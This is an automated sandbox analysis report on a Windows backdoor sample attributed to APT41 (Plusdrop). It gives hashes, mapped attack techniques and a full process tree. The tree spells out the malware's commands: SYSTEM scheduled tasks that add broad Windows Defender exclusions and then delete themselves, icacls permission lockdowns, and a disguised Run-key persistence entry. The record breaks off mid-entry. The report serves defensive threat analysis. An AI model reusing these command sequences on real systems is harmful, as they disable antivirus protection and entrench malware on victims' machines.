plusdrop | f6830fc35d9e869ea434de2ea8c10b3aa121bc14dde9ffbd4786e46fe6e930fd

Analysis

max time kernel
149s
max time network
161s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
17/05/2026, 14:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
Size 68.4MB
Sample260517-rmbsbahx8t
SHA256 f6830fc35d9e869ea434de2ea8c10b3aa121bc14dde9ffbd4786e46fe6e930fd
MD5 f2620281d508dca30b929fc6abfa1f80
SHA1 68e3d577986ccee437de12720a1ee89547b7c883
SHA512 a37aad6771e69d534901e18d09160e432e1fa7524008b43ccc607af8b3ce0d2a6e47189e16990714b1245866581057b5cea229977f625145c08fd4198f54a858
SSDEEP 196608:G7QZsezRsvbMxJ3KXGUZhIqbMx1LUxU2fFc/m3xq9auAucxDwGjXT7ptNHMr9nAv:G7tQRAwHcwjVmwcxnjXxHq43h
TLSH
T17EF72A46F7018DE7F51982345C97CBA42372E8B58AA1C70332ED272D6F9F3985EB1894
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

apt41 apt backdoor defense_evasion discovery execution plusdrop persistence trojan

Malware Config

Signatures

Family: Plusdrop, toughprogress
Plusdrop is a backdoor used by APT41 in Toughprogress campaign that abuses Google Calendar events as its C2.
backdoor plusdrop

Detects Plusdrop Payload 1 IoCs

backdoor apt apt41

resource	yara_rule
behavioral2/memory/4016-556-0x000002631A2A0000-0x000002631A300000-memory.dmp	family_Plusdrop_payload

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\1TSLJk = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe

Executes dropped EXE 1 IoCs

pid	Process
4016	BjzLCL.exe

Loads dropped DLL 1 IoCs

pid	Process
4016	BjzLCL.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4936	icacls.exe
3988	icacls.exe
4464	icacls.exe
2736	icacls.exe
3256	icacls.exe
2088	icacls.exe
3984	icacls.exe
2296	icacls.exe
4068	icacls.exe
3280	icacls.exe
788	icacls.exe
2516	icacls.exe
3920	icacls.exe
1776	icacls.exe
1304	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\1TSLJk\\BjzLCL.exe\""	BjzLCL.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
452	cmd.exe
3688	cmd.exe
4080	cmd.exe
4324	cmd.exe
2368	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	BjzLCL.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\3eb1YH	BjzLCL.exe
File created	C:\Program Files (x86)\3eb1YH\3eb1YH.exe	BjzLCL.exe
File created	C:\Program Files (x86)\3eb1YH\image.png	BjzLCL.exe
File created	C:\Program Files (x86)\3eb1YH\thumbs.db	BjzLCL.exe
File opened for modification	C:\Program Files (x86)\3eb1YH\3eb1YH.exe	BjzLCL.exe
File opened for modification	C:\Program Files (x86)\3eb1YH\XPSPLOG.dll	BjzLCL.exe
File opened for modification	C:\Program Files (x86)\3eb1YH\image.png	BjzLCL.exe
File created	C:\Program Files (x86)\3eb1YH\XPSPLOG.dll	BjzLCL.exe
File opened for modification	C:\Program Files (x86)\3eb1YH\thumbs.db	BjzLCL.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	BjzLCL.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4760	schtasks.exe
5088	schtasks.exe
2012	schtasks.exe
2188	schtasks.exe
1160	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
2768	2026-05-17_f2620281d508dca30b929fc6abfa1f80_amadey_coinminer_dosia_glassworm_icedid_njrat_quasar-rat_vidar.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe
4016	BjzLCL.exe

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
688	Process not Found
688	Process not Found
688	Process not Found

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4016	BjzLCL.exe

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 4016 wrote to memory of 1276	4016	BjzLCL.exe	22
PID 4016 wrote to memory of 1276	4016	BjzLCL.exe	22
PID 4016 wrote to memory of 4640	4016	BjzLCL.exe	81
PID 4016 wrote to memory of 452	4016	BjzLCL.exe	83
PID 452 wrote to memory of 5088	452	cmd.exe	85
PID 452 wrote to memory of 2116	452	cmd.exe	86
PID 452 wrote to memory of 4352	452	cmd.exe	90
PID 4640 wrote to memory of 4936	4640	cmd.exe	91
PID 4016 wrote to memory of 4184	4016	BjzLCL.exe	93
PID 4184 wrote to memory of 3256	4184	cmd.exe	95
PID 4016 wrote to memory of 1408	4016	BjzLCL.exe	24
PID 4016 wrote to memory of 1408	4016	BjzLCL.exe	24
PID 3728 wrote to memory of 3316	3728	cmd.exe	97
PID 4016 wrote to memory of 884	4016	BjzLCL.exe	98
PID 4016 wrote to memory of 3688	4016	BjzLCL.exe	100
PID 3688 wrote to memory of 2012	3688	cmd.exe	102
PID 884 wrote to memory of 2088	884	cmd.exe	103
PID 3688 wrote to memory of 3136	3688	cmd.exe	104
PID 4016 wrote to memory of 4276	4016	BjzLCL.exe	105
PID 4276 wrote to memory of 3984	4276	cmd.exe	108
PID 3688 wrote to memory of 3808	3688	cmd.exe	109
PID 4016 wrote to memory of 1196	4016	BjzLCL.exe	110
PID 1196 wrote to memory of 2296	1196	cmd.exe	112
PID 4016 wrote to memory of 1656	4016	BjzLCL.exe	28
PID 4016 wrote to memory of 1656	4016	BjzLCL.exe	28
PID 1816 wrote to memory of 4576	1816	cmd.exe	114
PID 4016 wrote to memory of 2248	4016	BjzLCL.exe	115
PID 4016 wrote to memory of 4744	4016	BjzLCL.exe	118
PID 4744 wrote to memory of 3988	4744	cmd.exe	120
PID 4016 wrote to memory of 4080	4016	BjzLCL.exe	121
PID 4080 wrote to memory of 2188	4080	cmd.exe	123
PID 4016 wrote to memory of 3824	4016	BjzLCL.exe	124
PID 4080 wrote to memory of 4968	4080	cmd.exe	126
PID 3824 wrote to memory of 4464	3824	cmd.exe	127
PID 4080 wrote to memory of 1644	4080	cmd.exe	129
PID 4016 wrote to memory of 1676	4016	BjzLCL.exe	130
PID 1676 wrote to memory of 2736	1676	cmd.exe	132
PID 4016 wrote to memory of 1704	4016	BjzLCL.exe	29
PID 4016 wrote to memory of 1704	4016	BjzLCL.exe	29
PID 4016 wrote to memory of 444	4016	BjzLCL.exe	134
PID 1092 wrote to memory of 1752	1092	cmd.exe	137
PID 444 wrote to memory of 2516	444	cmd.exe	136
PID 4016 wrote to memory of 2260	4016	BjzLCL.exe	138
PID 2260 wrote to memory of 3920	2260	cmd.exe	140
PID 4016 wrote to memory of 4324	4016	BjzLCL.exe	141
PID 4016 wrote to memory of 3356	4016	BjzLCL.exe	143
PID 3356 wrote to memory of 3280	3356	cmd.exe	146
PID 4324 wrote to memory of 1160	4324	cmd.exe	145
PID 4016 wrote to memory of 1848	4016	BjzLCL.exe	147
PID 1848 wrote to memory of 1776	1848	cmd.exe	149
PID 4324 wrote to memory of 1204	4324	cmd.exe	150
PID 4016 wrote to memory of 2964	4016	BjzLCL.exe	152
PID 4324 wrote to memory of 3804	4324	cmd.exe	154
PID 2964 wrote to memory of 788	2964	cmd.exe	155
PID 4016 wrote to memory of 3240	4016	BjzLCL.exe	156
PID 3240 wrote to memory of 1304	3240	cmd.exe	158
PID 3400 wrote to memory of 336	3400	cmd.exe	160
PID 4016 wrote to memory of 2368	4016	BjzLCL.exe	161
PID 2368 wrote to memory of 4760	2368	cmd.exe	163
PID 2368 wrote to memory of 4296	2368	cmd.exe	164
PID 2016 wrote to memory of 3000	2016	cmd.exe	167
PID 2368 wrote to memory of 592	2368	cmd.exe	168

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1276
- C:\Users\Public\1TSLJk\BjzLCL.exe
  C:\Users\Public\1TSLJk\BjzLCL.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4016
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\1TSLJk" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4640
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\1TSLJk" /inheritance:r
      4⤵
      Modifies file permissions
      PID:4936
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\1TSLJk\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:452
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\1TSLJk\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5088
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2116
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4352
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\1TSLJk" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4184
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\1TSLJk" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:3256
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\1TSLJk" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:884
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\1TSLJk" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      PID:2088
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:3688
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2012
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3136
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:3808
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\1TSLJk\BjzLCL.exe" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4276
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\1TSLJk\BjzLCL.exe" /inheritance:r
      4⤵
      Modifies file permissions
      PID:3984
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\1TSLJk\BjzLCL.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1196
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\1TSLJk\BjzLCL.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:2296
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\1TSLJk\BjzLCL.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    PID:2248
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\1TSLJk\BjzLCL.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:4068
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\1TSLJk\adoresd.dat" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4744
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\1TSLJk\adoresd.dat" /inheritance:r
      4⤵
      Modifies file permissions
      PID:3988
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:4080
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2188
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4968
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1644
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\1TSLJk\adoresd.dat" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3824
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\1TSLJk\adoresd.dat" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:4464
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\1TSLJk\adoresd.dat" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1676
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\1TSLJk\adoresd.dat" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:2736
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\1TSLJk\msadox.tb" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:444
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\1TSLJk\msadox.tb" /inheritance:r
      4⤵
      Modifies file permissions
      PID:2516
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\1TSLJk\msadox.tb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2260
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\1TSLJk\msadox.tb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:3920
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:4324
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1160
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:1204
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:3804
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\1TSLJk\msadox.tb" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3356
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\1TSLJk\msadox.tb" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:3280
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\1TSLJk\UxEnhance64.dll" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1848
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\1TSLJk\UxEnhance64.dll" /inheritance:r
      4⤵
      Modifies file permissions
      PID:1776
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\1TSLJk\UxEnhance64.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2964
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\1TSLJk\UxEnhance64.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:788
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\1TSLJk\UxEnhance64.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3240
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\1TSLJk\UxEnhance64.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:1304
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:2368
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4760
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4296
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:592
- - C:\Program Files (x86)\3eb1YH\3eb1YH.exe
    "C:\Program Files (x86)\3eb1YH\3eb1YH.exe"
    3⤵
    PID:4584
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\1TSLJk" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3728
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\1TSLJk" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:3316
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1816
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:4576
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1092
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:1752
- C:\Windows\system32\cmd.exe
  cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3400
- - C:\Windows\system32\reg.exe
